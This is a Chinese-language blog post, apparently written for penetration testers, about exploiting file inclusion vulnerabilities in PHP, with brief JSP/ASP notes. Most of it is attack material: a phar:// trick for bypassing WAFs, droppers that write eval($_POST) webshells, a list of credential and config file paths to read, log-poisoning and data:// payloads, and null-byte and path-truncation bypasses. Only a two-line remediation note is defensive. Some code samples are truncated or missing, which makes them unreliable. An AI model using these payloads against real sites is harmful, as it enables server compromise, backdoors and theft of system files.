檔案包含漏洞(繞過姿勢)
檔案包含漏洞是滲透測試過程中用得比較多的一個漏洞,主要用來繞過waf上傳木馬檔案。今日在逛Tools論壇時,發現了一種新型的檔案包含姿勢,在此記錄分享,並附上一些檔案包含漏洞的基礎利用姿勢。
特殊姿勢
利用phar://協議特性可以在滲透過程中幫我們繞過一些waf檢測,phar:// 資料流包裝器自 PHP 5.3.0 起開始有效,貌似可以繞過安全狗。
利用過程
新建shell.php程式碼內容:
123 | <?phpinclude 'phar://test.rar/test.txt';?> |
新建test.txt裡的內容:
123 | <?phpphpinfo();?> |
壓縮test.txt檔案,可以重新命名壓縮檔案為zip,phar,rar等格式,之後訪問shell.php檔案後,會出現phpinfo內容。
親測有效
在實驗環境下,在test目錄下新建shell.php,test.txt,並將test.txt打包成test.zip。
shell.php內容如下:
test.txt內容如下:
訪問shell.php:
php檔案包含漏洞
PHP中的檔案包含分為本地包含與遠端包含,導致檔案包含的函式如下:
- include()
- include_once()
- require()
- require_once()
- fopen()
- readfile()
……
本地包含漏洞(LFI)
新建一個phpinfo.txt,然後新建一個shell.php,寫入:
123 | <?php Include("phpinfo.txt" |
訪問shell.php會輸出phpinfo頁面內容,無論將副檔名改為什麼,都將以php程式碼執行。如果檔案不是符合php規則的(即沒有寫<?php ?>等),則通過include可以直接輸出原始碼。
遠端包含漏洞
前提:需要開啟allow_url_fopen,預設關閉。
新建php.txt:
123 | <?php echo "hello world";?> |
新建index.php:
123 | <?php Include($_GET['page']);?> |
檔案包含利用
讀取敏感資訊
12345 | c:\boot.inic:\windows\systems32\inetsrv\MetaBase.xmlc:\windows\repair\samc:\windows\php.ini php配置檔案c:\windows\my.ini mysql配置檔案 |
LINUX:
12345 | /etc/passwd/usr/local/app/apache2/conf/http.conf/usr/local/app/php5/lib/php.ini PHP相關設定/etc/httpd/conf/http.conf apache配置檔案/etc/my.cnf mysql配置檔案 |
遠端包含shell
test.txt檔案,可以儲存在遠端伺服器上,內容如下:
1 | <?fputs(fopen("shell.php","w"),"<?php eval($_POST[nmask]);?>")?> |
1 | <?php eval($_POST[nmask]);?> |
本地包含配合檔案上傳
如果目標伺服器關閉了allow_url_fopen,則可以嘗試使用本地包含+檔案上傳
上傳一個圖片木馬a.jpg,內容為:
1 | <?fputs(fopen("shell.php","w"),"<?php eval($_POST[tzc]);?>")?> |
本地包含配合apache日誌拿shell
apache日誌分為access.log與error.log,當我們請求一個url地址時,便會記錄在access.log中,但如果訪問一個不存在的頁面,便會將這個頁面寫入access.log中。如訪問URL:則會將一句話寫入到access.log中,但是一般來說,寫入到access.log檔案中的一句話是被編碼的,所以需要抓包繞過,而且利用此漏洞需要知道access.log的地址,不然便沒有。
利用/proc/self/environ進行包含
利用php協議進行包含
poc:
1 | http://www.test.com/index.php?file=data:text/plain,<?php phpinfo();?>%00 |
截斷包含
有些開發者為了防止本地包含漏洞,會編寫一下程式碼:
123 | <?php Include $_GET['page'].".php"?> |
(一)00截斷包含
新建1.jpg:
1 | <?fputs(fopen("shell.php","w"),"<?php eval($_POST[tzc]);?>")?> |
(二)使用長目錄截斷
12345 | ././././././././././././././etc/passwd或者////////////////////////////etc/passwd或者../a/etc/passwd/../a/etc/passwd/../a/etc/passwd |
在windows下目錄最大長度為256位元組,linux下為4096位元組,其後面超出部分被丟棄。
檔案包含漏洞修復
開啟open_basedir函式,將其設定為指定目錄,則只有該目錄的檔案允許被訪問。
關閉allow_url_include函式,防止遠端檔案包含。
jsp檔案包含漏洞
include
123 | <%@ include file="head.jsp"%><%@ include file="body.jsp"%><%@ include file="tail.jsp"%> |
jsp:include
123 | <jsp:include page="head.jsp"/><jsp:include page="body.jsp"/> <jsp:include page="tail.jsp”/> |
採用JSTL
說明
(1)include指令在轉換時插入“Header.jsp”的原始碼,而標準動作在執行時插入“Header.jsp”的響應。元素允許你包含動態檔案和靜態,而include說明標籤僅僅是把一個檔案內容當成靜態追加到主檔案中去。
(2)採用前兩種方式,只能包含當前web應用的介面,不過c:import可以包含容器之外的內容。
asp檔案包含漏洞
asp貌似無法包含遠端檔案(iis安全設定),只能包含本地檔案,語法如下:
1 | <!--#include file="1.asp" --> |
aspx檔案包含漏洞
aspx檔案包含與asp一樣,語法如下:
1 | <!--#include file="top.aspx" --> |